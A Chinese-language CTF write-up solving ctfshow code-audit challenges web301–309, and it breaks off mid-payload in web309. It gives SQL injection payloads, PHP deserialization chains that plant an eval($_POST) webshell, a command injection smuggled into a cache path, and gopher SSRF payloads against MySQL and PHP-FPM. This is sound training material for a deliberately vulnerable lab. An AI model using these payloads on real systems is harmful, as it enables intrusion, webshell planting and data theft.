ctfshow 代码审计 web301~310
web 301
在checklogin.php中没有对username做任何过滤,可以闭合它构造payload,且在第二个if中告诉我们只有通过sql语句查到的密码和我们的密码相同时才可以登录。
checklogin.php
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
直接闭合,联合查询1,这样返回的密码是1了,最后只要登录的密码也为1就可以拿到flag了。
' union select 1;#
1
web 302
修改了一个地方,给密码加密了。
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
加密代码也给我们了,伪造一下呗。
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>
exp:
<?php
$str = 1;
echo md5(md5($str.md5(base64_encode("sds")))."sds");
payload:
' union select 'd9c77c4e454869d5d8da3b4be79694d3';#
1
web 303
在sql文件中已经告诉我们了用户账号,和加密密码,可以对字典加密爆破,这边盲猜是admin。
原理看图:(参考:https://bbs.huaweicloud.com/blogs/306014
)
在dptadd.php中可以看出每个字段值都可控,所以我们可以在随便一个地方构造,这样它就会把我们想要查的东西插入到表中,最后我们再在dpt.php查看就可以了
爆表:
dpt_name=5',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
字段:
dpt_name=5',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
flag:
dpt_name=5',sds_address=(select flag from sds_fl9g)#
web 304
没过滤,照上面的流程走一遍就行了。
web 305
知识点:利用反序列化写文件连接数据库
结合class.php和checklogin.php,利用cookie反序列化写入文件
class.php:
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
checklogin.php:
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
payload:
<?php
class user{
public $username;
public $password;
public function __construct(){
$this->username='1.php';
$this->password='<?php eval($_POST[1]);phpinfo();?>';
}
}
echo urlencode(serialize(new user()));
Cookie: user=O:4:"user":2:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"";};
最后连接数据库取flag
1=include('conn.php');
$sql="select flag from sds_flabag";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
print_r($row);
web 306
在class.php中,有个file_put_contents可以利用,但是要找类来掉用它。
public function close(){
file_put_contents($this->title, $this->info);
}
通过全局搜索可以在dao.php中找到close的调用。
public function __destruct(){
$this->conn->close();
}
payload:
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='1.php';
public $info='<?php eval($_POST[1]);?>';
}
echo base64_encode(serialize(new dao()));
最后就是找入口,因为我们调用了class和dao两个文件,所以入口文件必须包含这两个文件,且可以反序列,只有index.php符合,所以我们只要修改cookie,然后直接访问index.php就可以了,最后
TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
getflag
1=system('cat flag.php');
web 307
在dao.php中可以命令执行。
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
可以利用管道符||来绕过,||当前面为报错,则运行下一条,若不报错,则不运行。
rm -rf ././ || cat /var/www/html/flag.php | tee 1.txt|| /*
再在phpstorm里全局搜索一下,在controller/logout.php中发现调用clearCache,且也包含了service.php。
if($service){
$service->clearCache();
}
payload:
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $cache_dir = './ || cat /var/www/html/flag.php | tee 1.txt || ';
}
echo base64_encode(serialize(new dao()));
最后传入,然后访问controller/1.txt
web 308
参考wp:https://blog.csdn.net/miuzzx/article/details/111352849
参考知识点:https://blog.csdn.net/qq_41107295/article/details/103026470
利用 Gopher
协议 SSRF
漏洞:
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
dao.php:checkVersion
index.php
利用gopherus构造shell。
poc:
<?php
class dao{
private $config;
public function __construct(){
$this->config = new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:3306/_ ! root mysql_native_password f_osLinux_client_namelibmysql_pid27255_client_version5.7.22 _platformx86_64program_namemysqlE select "" into outfile "/var/www/html/1.php" ';
}
echo base64_encode(serialize(new dao()));
传入cookie,写入shell:
获取flag:
web 309
知识点:SSRF--gopher协议打FastCGI(PHP-FPM的未授权访问漏洞)
参考:
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi
https://blog.csdn.net/weixin_39664643/article/details/114977217
https://blog.csdn.net/qq_41107295/article/details/103026470
https://blog.csdn.net/unexpectedthing/article/details/121643002https://www.cnblogs.com/itbsl/p/9828776.html#介绍
https://www.cnblogs.com/itbsl/p/9828776.html#介绍
流程图:(有错误请指出,跪谢!)
解析好的环境变量:来自P神,环境变量的作用不仅是填充$_SERVER
数组,也是告诉FPM:“我要执行哪个PHP文件”。
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
漏洞的产生和利用:(这是看了大佬们的文章后的自我理解,有错请指出,跪谢!)
产生:
1、curl、file_get_content、fsockopen等函数的参数过滤不严谨。
2、PHP-FPM的端口露在公网,使得可以自己构造fastcgi协议,和fpm进行通信。
3、fpm会根据fastcgi解析好的SCRIPT_FILENAME环境变量来执行php文件。
4、可以利用PHP_VALUE和PHP_ADMIN_VALUE两个环境变量来设置PHP配置项。
这样的话auto_prepend_file为php://input,就会执行放在body里的代码了,当然远程文件包含的设置allow_url_include也要打开。
利用:
1、先找一个已存在的php文件的绝对路径,赋给SCRIPT_FILENAME,若都不知道,则可以尝试一下安装php时就存在的默认环境。
2、利用PHP_VALUE设置auto_prepend_file为php://input,这样在执行任何php文件前都会包含POST里的内容。我们只需要把shell放在Body中,他们就能被执行了。且利用PHP_ADMIN_VALUE设置allow_url_include = On。
poc:
<?php
class dao{
private $config;
public function __construct(){
$this->config = new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:9000/_ SERVER_SOFTWAREgo / fcgiclient REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH59REQUEST_METHODPOST KPHP_VALUEallow_url_include = On
disable_functions =
auto_prepend_file = php://inputSCRIPT_FILENAME/var/www/html/index.php
DOCUMENT_ROOT/ ;